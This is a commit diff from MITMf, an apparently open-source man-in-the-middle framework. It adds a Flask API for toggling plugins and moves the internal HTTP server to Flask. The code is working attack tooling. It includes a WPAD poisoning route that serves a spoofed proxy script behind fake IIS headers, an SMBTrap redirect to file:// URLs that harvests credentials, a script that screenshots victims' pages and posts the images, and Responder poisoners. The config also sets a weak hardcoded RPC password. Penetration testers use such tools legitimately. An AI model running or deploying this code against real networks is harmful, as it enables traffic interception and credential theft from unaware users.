This commit is contained in:
xtr4nge 2015-06-21 13:39:24 +00:00
commit 9bf6366053
23 changed files with 300 additions and 140 deletions

View file

@ -6,6 +6,7 @@
# Required BeEF and Metasploit options # Required BeEF and Metasploit options
[[BeEF]] [[BeEF]]
beefip = 127.0.0.1 beefip = 127.0.0.1
beefport = 3000 beefport = 3000
user = beef user = beef
@ -18,6 +19,11 @@
rpcport = 55552 rpcport = 55552
rpcpass = abc123 rpcpass = abc123
[[MITMf-API]]
host = 127.0.0.1
port = 9090
[[SMB]] [[SMB]]
# #
@ -57,25 +63,23 @@
# ini = /tmp/desktop.ini # ini = /tmp/desktop.ini
# bat = /tmp/evil.bat # bat = /tmp/evil.bat
#This is still experimental, don't uncomment pls! [[HTTP]]
#[[HTTP]]
# #
# Here you can configure MITMf's internal HTTP server # Here you can configure MITMf's internal HTTP server
# #
#port = 80 port = 80
#[[[Paths]]] [[[Paths]]]
# #
# Here you can define the content to deliver # Here you can define the content to deliver
# #
# Format is urlpath = filesystem path (urlpath can be a regular expression) # Format is urlpath = filesystem path
# ".*" = "/var/www" "/test" = "/var/www2"
# "/test" = "/var/www2"
[[DNS]] [[DNS]]

29
config/plugins.conf Normal file
View file

@ -0,0 +1,29 @@
[plugins]
[[cachekill]]
status = disabled
[[screen]]
status = disabled
[[browserprofiler]]
status = disabled
[[appoison]]
status = disabled
[[replace]]
status = disabled
[[smbtrap]]
status = disabled
[[upsidedownternet]]
status = disabled

View file

@ -21,11 +21,6 @@ class ConfigWatcher(FileSystemEventHandler):
return ConfigWatcher._instance return ConfigWatcher._instance
def startConfigWatch(self):
observer = Observer()
observer.schedule(self, path='./config', recursive=False)
observer.start()
def getConfig(self): def getConfig(self):
return self.config return self.config
@ -34,6 +29,11 @@ class ConfigWatcher(FileSystemEventHandler):
self.reloadConfig() self.reloadConfig()
self.onConfigChange() self.onConfigChange()
def startConfigWatch(self):
observer = Observer()
observer.schedule(self, path='./config', recursive=False)
observer.start()
def onConfigChange(self): def onConfigChange(self):
""" We can subclass this function to do stuff after the config file has been modified""" """ We can subclass this function to do stuff after the config file has been modified"""
pass pass

View file

@ -1024,7 +1024,7 @@ function h2cRenderContext(width, height) {
}; };
} }
_html2canvas.Parse = function (images, options) { _html2canvas.Parse = function (images, options) {
window.scroll(0,0); //window.scroll(0,0);
var element = (( options.elements === undefined ) ? document.body : options.elements[0]), // select body by default var element = (( options.elements === undefined ) ? document.body : options.elements[0]), // select body by default
numDraws = 0, numDraws = 0,
@ -2871,8 +2871,10 @@ function grab() {
xmlhttp.setRequestHeader('Content-type', 'application/x-www-form-urlencoded'); xmlhttp.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
var x=encodeURIComponent(dat); var x=encodeURIComponent(dat);
xmlhttp.send(x); xmlhttp.send(x);
} },
}); width: screen.width,
height: screen.height
});
} }
setInterval(function(){grab()}, SECONDS_GO_HERE); setInterval(function(){grab()}, SECONDS_GO_HERE);

108
core/mitmfapi.py Normal file
View file

@ -0,0 +1,108 @@
#!/usr/bin/env python2.7
# Copyright (c) 2014-2016 Marcello Salvati
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation; either version 3 of the
# License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
# USA
#
"""
Coded by @xtr4nge
"""
#import multiprocessing
import threading
import logging
import json
import sys
from flask import Flask
from core.configwatcher import ConfigWatcher
from core.sergioproxy.ProxyPlugins import ProxyPlugins
app = Flask(__name__)
class mitmfapi:
_instance = None
host = ConfigWatcher.getInstance().config['MITMf']['MITMf-API']['host']
port = int(ConfigWatcher.getInstance().config['MITMf']['MITMf-API']['port'])
@staticmethod
def getInstance():
if mitmfapi._instance is None:
mitmfapi._instance = mitmfapi()
return mitmfapi._instance
@app.route("/")
def getPlugins():
# example: http://127.0.0.1:9090/
pdict = {}
#print ProxyPlugins.getInstance().plist
for activated_plugin in ProxyPlugins.getInstance().plist:
pdict[activated_plugin.name] = True
#print ProxyPlugins.getInstance().plist_all
for plugin in ProxyPlugins.getInstance().plist_all:
if plugin.name not in pdict:
pdict[plugin.name] = False
#print ProxyPlugins.getInstance().pmthds
return json.dumps(pdict)
@app.route("/<plugin>")
def getPluginStatus(plugin):
# example: http://127.0.0.1:9090/cachekill
for p in ProxyPlugins.getInstance().plist:
if plugin == p.name:
return json.dumps("1")
return json.dumps("0")
@app.route("/<plugin>/<status>")
def setPluginStatus(plugin, status):
# example: http://127.0.0.1:9090/cachekill/1 # enabled
# example: http://127.0.0.1:9090/cachekill/0 # disabled
if status == "1":
for p in ProxyPlugins.getInstance().plist_all:
if (p.name == plugin) and (p not in ProxyPlugins.getInstance().plist):
ProxyPlugins.getInstance().addPlugin(p)
return json.dumps({"plugin": plugin, "response": "success"})
elif status == "0":
for p in ProxyPlugins.getInstance().plist:
if p.name == plugin:
ProxyPlugins.getInstance().removePlugin(p)
return json.dumps({"plugin": plugin, "response": "success"})
return json.dumps({"plugin": plugin, "response": "failed"})
def startFlask(self):
app.run(debug=False, host=self.host, port=self.port)
#def start(self):
# api_thread = multiprocessing.Process(name="mitmfapi", target=self.startFlask)
# api_thread.daemon = True
# api_thread.start()
def start(self):
api_thread = threading.Thread(name='mitmfapi', target=self.startFlask)
api_thread.setDaemon(True)
api_thread.start()

View file

@ -42,32 +42,25 @@ class ProxyPlugins:
in handleResponse, but is still annoying. in handleResponse, but is still annoying.
''' '''
_instance = None _instance = None
plist = []
mthdDict = {"connectionMade": "clientRequest", mthdDict = {"connectionMade": "clientRequest",
"handleStatus": "serverResponseStatus", "handleStatus": "serverResponseStatus",
"handleResponse": "serverResponse", "handleResponse": "serverResponse",
"handleHeader": "serverHeaders", "handleHeader": "serverHeaders",
"handleEndHeaders":"serverHeaders"} "handleEndHeaders":"serverHeaders"}
pmthds = {} def __init__(self):
self.pmthds = {}
self.plist = []
self.plist_all = []
@staticmethod @staticmethod
def getInstance(): def getInstance():
if ProxyPlugins._instance == None: if ProxyPlugins._instance is None:
ProxyPlugins._instance = ProxyPlugins() ProxyPlugins._instance = ProxyPlugins()
return ProxyPlugins._instance return ProxyPlugins._instance
def setPlugins(self, plugins): def addPlugin(self, p):
'''Set the plugins in use'''
for p in plugins:
self.addPlugin(p)
mitmf_logger.debug("[ProxyPlugins] Loaded {} plugin/s".format(len(self.plist)))
def addPlugin(self,p):
'''Load a plugin''' '''Load a plugin'''
self.plist.append(p) self.plist.append(p)
mitmf_logger.debug("[ProxyPlugins] Adding {} plugin".format(p.name)) mitmf_logger.debug("[ProxyPlugins] Adding {} plugin".format(p.name))
@ -77,12 +70,12 @@ class ProxyPlugins:
except KeyError: except KeyError:
self.pmthds[mthd] = [getattr(p,pmthd)] self.pmthds[mthd] = [getattr(p,pmthd)]
def removePlugin(self,p): def removePlugin(self, p):
'''Unload a plugin''' '''Unload a plugin'''
self.plist.remove(p) self.plist.remove(p)
mitmf_logger.debug("[ProxyPlugins] Removing {} plugin".format(p.name)) mitmf_logger.debug("[ProxyPlugins] Removing {} plugin".format(p.name))
for mthd,pmthd in self.mthdDict.iteritems(): for mthd,pmthd in self.mthdDict.iteritems():
self.pmthds[mthd].remove(p) self.pmthds[mthd].remove(getattr(p, pmthd))
def hook(self): def hook(self):
'''Magic to hook various function calls in sslstrip''' '''Magic to hook various function calls in sslstrip'''

View file

@ -419,14 +419,15 @@ class DNSChef(ConfigWatcher):
_instance = None _instance = None
version = "0.4" version = "0.4"
tcp = False def __init__(self):
ipv6 = False self.tcp = False
hsts = False self.ipv6 = False
real_records = dict() self.hsts = False
nametodns = dict() self.real_records = dict()
server_address = "0.0.0.0" self.nametodns = dict()
nameservers = ["8.8.8.8"] self.server_address = "0.0.0.0"
port = 53 self.nameservers = ["8.8.8.8"]
self.port = 53
@staticmethod @staticmethod
def getInstance(): def getInstance():

View file

@ -1,82 +0,0 @@
#!/usr/bin/env python2.7
# Copyright (c) 2014-2016 Marcello Salvati
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation; either version 3 of the
# License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
# USA
#
import logging
import sys
import tornado.ioloop
import tornado.web
import threading
from core.configwatcher import ConfigWatcher
tornado_logger = logging.getLogger("tornado")
tornado_logger.propagate = False
formatter = logging.Formatter("%(asctime)s [HTTPserver] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
fileHandler = logging.FileHandler("./logs/mitmf.log")
streamHandler = logging.StreamHandler(sys.stdout)
fileHandler.setFormatter(formatter)
streamHandler.setFormatter(formatter)
tornado_logger.addHandler(fileHandler)
tornado_logger.addHandler(streamHandler)
class HTTPServer(ConfigWatcher):
_instance = None
application = tornado.web.Application([])
http_port = int(ConfigWatcher.config["MITMf"]["HTTP"]["port"])
@staticmethod
def getInstance():
if HTTPServer._instance == None:
HTTPServer._instance = HTTPServer()
return HTTPServer._instance
def addHandler(self, urlregex, handler, vhost=''):
self.application.add_handlers(vhost, [(urlregex, handler)])
def addStaticPathHandler(self, urlregex, path, vhost=''):
self.application.add_handlers(vhost, [(urlregex, {"static_path": path})])
def resetApplication(self):
self.application = tornado.web.Application([])
def parseConfig(self):
for url,path in self.config['MITMf']['HTTP']['Paths'].iteritems():
self.addStaticPathHandler(url, path)
def onConfigChange(self):
self.resetApplication()
self.parseConfig()
def start(self):
self.parseConfig()
self.application.listen(self.http_port)
t = threading.Thread(name='HTTPserver', target=tornado.ioloop.IOLoop.instance().start)
t.setDaemon(True)
t.start()
class HTTPHandler(tornado.web.RequestHandler):
def get(self):
raise HTTPError(405)
def post(self):
raise HTTPError(405)

View file

@ -0,0 +1,46 @@
#!/usr/bin/env python2.7
# Copyright (c) 2014-2016 Marcello Salvati
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation; either version 3 of the
# License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
# USA
#
import logging
import threading
from core.configwatcher import ConfigWatcher
from flask import Flask
class HTTPserver:
_instance = None
server = Flask(__name__)
port = int(ConfigWatcher.getInstance().config['MITMf']['HTTP']['port'])
@staticmethod
def getInstance():
if HTTPserver._instance is None:
HTTPserver._instance = HTTPserver()
return HTTPserver._instance
def startFlask(self):
self.server.run(debug=False, host='0.0.0.0', port=self.port)
def start(self):
server_thread = threading.Thread(name='HTTPserver', target=self.startFlask)
server_thread.setDaemon(True)
server_thread.start()

View file

@ -15,9 +15,9 @@ class SMBserver(ConfigWatcher):
_instance = None _instance = None
impacket_ver = version.VER_MINOR impacket_ver = version.VER_MINOR
server_type = ConfigWatcher.config["MITMf"]["SMB"]["type"].lower() server_type = ConfigWatcher.getInstance().config["MITMf"]["SMB"]["type"].lower()
smbchallenge = ConfigWatcher.config["MITMf"]["SMB"]["Challenge"] smbchallenge = ConfigWatcher.getInstance().config["MITMf"]["SMB"]["Challenge"]
smb_port = int(ConfigWatcher.config["MITMf"]["SMB"]["port"]) smb_port = int(ConfigWatcher.getInstance().config["MITMf"]["SMB"]["port"])
@staticmethod @staticmethod
def getInstance(): def getInstance():

View file

@ -60,7 +60,6 @@ class ServerConnection(HTTPClient):
self.urlMonitor = URLMonitor.getInstance() self.urlMonitor = URLMonitor.getInstance()
self.hsts = URLMonitor.getInstance().hsts self.hsts = URLMonitor.getInstance().hsts
self.app = URLMonitor.getInstance().app self.app = URLMonitor.getInstance().app
self.plugins = ProxyPlugins.getInstance()
self.isImageRequest = False self.isImageRequest = False
self.isCompressed = False self.isCompressed = False
self.contentLength = None self.contentLength = None
@ -108,7 +107,7 @@ class ServerConnection(HTTPClient):
def connectionMade(self): def connectionMade(self):
mitmf_logger.debug("[ServerConnection] HTTP connection made.") mitmf_logger.debug("[ServerConnection] HTTP connection made.")
self.plugins.hook() ProxyPlugins.getInstance().hook()
self.sendRequest() self.sendRequest()
self.sendHeaders() self.sendHeaders()
@ -117,7 +116,7 @@ class ServerConnection(HTTPClient):
def handleStatus(self, version, code, message): def handleStatus(self, version, code, message):
values = self.plugins.hook() values = ProxyPlugins.getInstance().hook()
version = values['version'] version = values['version']
code = values['code'] code = values['code']
@ -164,7 +163,7 @@ class ServerConnection(HTTPClient):
if self.length == 0: if self.length == 0:
self.shutdown() self.shutdown()
self.plugins.hook() ProxyPlugins.getInstance().hook()
if logging.getLevelName(mitmf_logger.getEffectiveLevel()) == "DEBUG": if logging.getLevelName(mitmf_logger.getEffectiveLevel()) == "DEBUG":
for header, value in self.client.headers.iteritems(): for header, value in self.client.headers.iteritems():
@ -191,7 +190,7 @@ class ServerConnection(HTTPClient):
data = gzip.GzipFile('', 'rb', 9, StringIO.StringIO(data)).read() data = gzip.GzipFile('', 'rb', 9, StringIO.StringIO(data)).read()
data = self.replaceSecureLinks(data) data = self.replaceSecureLinks(data)
data = self.plugins.hook()['data'] data = ProxyPlugins.getInstance().hook()['data']
mitmf_logger.debug("[ServerConnection] Read from server {} bytes of data".format(len(data))) mitmf_logger.debug("[ServerConnection] Read from server {} bytes of data".format(len(data)))

View file

@ -66,6 +66,8 @@ plugins = []
try: try:
for p in plugin_classes: for p in plugin_classes:
plugins.append(p()) plugins.append(p())
ProxyPlugins.getInstance().plist_all = plugins
except Exception as e: except Exception as e:
print "[-] Failed to load plugin class {}: {}".format(p, e) print "[-] Failed to load plugin class {}: {}".format(p, e)
@ -178,17 +180,23 @@ DNSChef.getInstance().start()
print "|_ DNSChef v{} online".format(DNSChef.version) print "|_ DNSChef v{} online".format(DNSChef.version)
#Start the HTTP Server #Start the HTTP Server
#from core.servers.http.HTTPServer import HTTPServer #from core.servers.http.HTTPserver import HTTPserver
#HTTPServer.getInstance().start() #HTTPserver.getInstance().start()
#print "|_ HTTP server online" #print "|_ HTTP server online"
#Start the SMB server #Start the SMB server
from core.servers.smb.SMBserver import SMBserver from core.servers.smb.SMBserver import SMBserver
print "|_ SMB server online [Mode: {}] (Impacket {}) \n".format(SMBserver.getInstance().server_type, SMBserver.getInstance().impacket_ver) print "|_ SMB server online [Mode: {}] (Impacket {})".format(SMBserver.getInstance().server_type, SMBserver.getInstance().impacket_ver)
SMBserver.getInstance().start() SMBserver.getInstance().start()
#Start MITMf-API
from core.mitmfapi import mitmfapi
mitmfapi().start()
print "|"
print "|_ MITMf-API running on http://{}:{}\n".format(mitmfapi.getInstance().host, mitmfapi.getInstance().port)
#start the reactor #start the reactor
reactor.run() reactor.run()
print "\n" print "\n"
shutdown() shutdown()

View file

@ -18,6 +18,12 @@
# USA # USA
# #
"""
[enabled | disabled] by @xtr4nge
"""
import logging import logging
import re import re
import os.path import os.path
@ -45,7 +51,6 @@ class AppCachePlugin(Plugin):
self.urlMonitor.setAppCachePoisoning() self.urlMonitor.setAppCachePoisoning()
def serverResponse(self, response, request, data): def serverResponse(self, response, request, data):
#This code was literally copied + pasted from Koto's sslstrip fork, def need to clean this up in the near future #This code was literally copied + pasted from Koto's sslstrip fork, def need to clean this up in the near future
self.app_config = self.config['AppCachePoison'] # so we reload the config on each request self.app_config = self.config['AppCachePoison'] # so we reload the config on each request

View file

@ -17,6 +17,13 @@
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
# USA # USA
# #
"""
[enabled | disabled] by @xtr4nge
"""
import logging import logging
from pprint import pformat from pprint import pformat
@ -46,7 +53,6 @@ class BrowserProfiler(Inject, Plugin):
return d return d
def clientRequest(self, request): def clientRequest(self, request):
#Handle the plugin output
if 'clientprfl' in request.uri: if 'clientprfl' in request.uri:
request.printPostData = False request.printPostData = False

View file

@ -18,6 +18,12 @@
# USA # USA
# #
"""
[API] enabled|disabled by @xtr4nge
"""
import logging import logging
from plugins.plugin import Plugin from plugins.plugin import Plugin

View file

@ -17,6 +17,7 @@
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
# USA # USA
# #
import logging import logging
import re import re
import random import random

View file

@ -21,6 +21,7 @@
""" """
Plugin by @rubenthijssen Plugin by @rubenthijssen
[enabled | disabled] by @xtr4nge
""" """
@ -53,7 +54,6 @@ class Replace(Plugin):
if self._should_replace(ip, hn, mime): if self._should_replace(ip, hn, mime):
# Did the user provide us with a regex file?
for rulename, regexs in self.config['Replace'].iteritems(): for rulename, regexs in self.config['Replace'].iteritems():
for regex1,regex2 in regexs.iteritems(): for regex1,regex2 in regexs.iteritems():
if re.search(regex1, data): if re.search(regex1, data):

View file

@ -21,12 +21,12 @@
from plugins.plugin import Plugin from plugins.plugin import Plugin
from twisted.internet import reactor from twisted.internet import reactor
from core.utils import SystemConfig, shutdown from core.utils import SystemConfig, shutdown
from core.configwatcher import ConfigWatcher
from core.responder.llmnr.LLMNRPoisoner import LLMNRPoisoner from core.responder.llmnr.LLMNRPoisoner import LLMNRPoisoner
from core.responder.mdns.MDNSPoisoner import MDNSPoisoner from core.responder.mdns.MDNSPoisoner import MDNSPoisoner
from core.responder.nbtns.NBTNSPoisoner import NBTNSPoisoner from core.responder.nbtns.NBTNSPoisoner import NBTNSPoisoner
from core.responder.fingerprinter.LANFingerprinter import LANFingerprinter from core.responder.fingerprinter.LANFingerprinter import LANFingerprinter
from core.responder.wpad.WPADPoisoner import WPADPoisoner
class Responder(Plugin): class Responder(Plugin):
name = "Responder" name = "Responder"
@ -54,8 +54,23 @@ class Responder(Plugin):
LLMNRPoisoner().start(options, self.ourip) LLMNRPoisoner().start(options, self.ourip)
if options.wpad: if options.wpad:
from core.responder.wpad.WPADPoisoner import WPADPoisoner from core.servers.http.HTTPserver import HTTPserver
WPADPoisoner().start(options) import flask
server = HTTPserver.getInstance().server
@server.route('/<wpad_req>')
def wpad(wpad_req):
if (wpad_req == 'wpad.dat') or (wpad_req.endswith('.pac')):
payload = ConfigWatcher.getInstance().config['Responder']['WPADScript']
resp = flask.Response(payload)
resp.headers['Server'] = "Microsoft-IIS/6.0"
resp.headers['Content-Type'] = "application/x-ns-proxy-autoconfig"
resp.headers['X-Powered-By'] = "ASP.NET"
resp.headers['Content-Length'] = len(payload)
return resp
if self.config["Responder"]["MSSQL"].lower() == "on": if self.config["Responder"]["MSSQL"].lower() == "on":
from core.responder.mssql.MSSQLServer import MSSQLServer from core.responder.mssql.MSSQLServer import MSSQLServer

View file

@ -1,3 +1,9 @@
"""
[enabled | disabled] by @xtr4nge
"""
import logging import logging
import random import random
import string import string
@ -21,4 +27,4 @@ class SMBTrap(Plugin):
def serverHeaders(self, response, request): def serverHeaders(self, response, request):
mitmf_logger.info("{} [SMBTrap] Trapping request to {}".format(request.client.getClientIP(), request.headers['host'])) mitmf_logger.info("{} [SMBTrap] Trapping request to {}".format(request.client.getClientIP(), request.headers['host']))
response.headers["Location"] = "file://{}/{}".format(self.ourip, ''.join(random.sample(string.ascii_uppercase + string.digits, 8))) response.headers["Location"] = "file://{}/{}".format(self.ourip, ''.join(random.sample(string.ascii_uppercase + string.digits, 8)))

View file

@ -18,6 +18,12 @@
# USA # USA
# #
"""
[enabled | disabled] by @xtr4nge
"""
import logging import logging
import base64 import base64
import urllib import urllib

View file

@ -18,6 +18,12 @@
# USA # USA
# #
"""
[enabled | disabled] by @xtr4nge
"""
import logging import logging
from cStringIO import StringIO from cStringIO import StringIO
from plugins.plugin import Plugin from plugins.plugin import Plugin

View file

@ -10,7 +10,7 @@ mitmf_logger = logging.getLogger('mitmf')
class Plugin(ConfigWatcher, object): class Plugin(ConfigWatcher, object):
name = "Generic plugin" name = "Generic plugin"
optname = "generic" optname = "generic"
tree_info = list() tree_info = []
desc = "" desc = ""
version = "0.0" version = "0.0"
has_opts = False has_opts = False

View file

@ -15,3 +15,4 @@ pyopenssl
service_identity service_identity
capstone capstone
pypcap pypcap
flask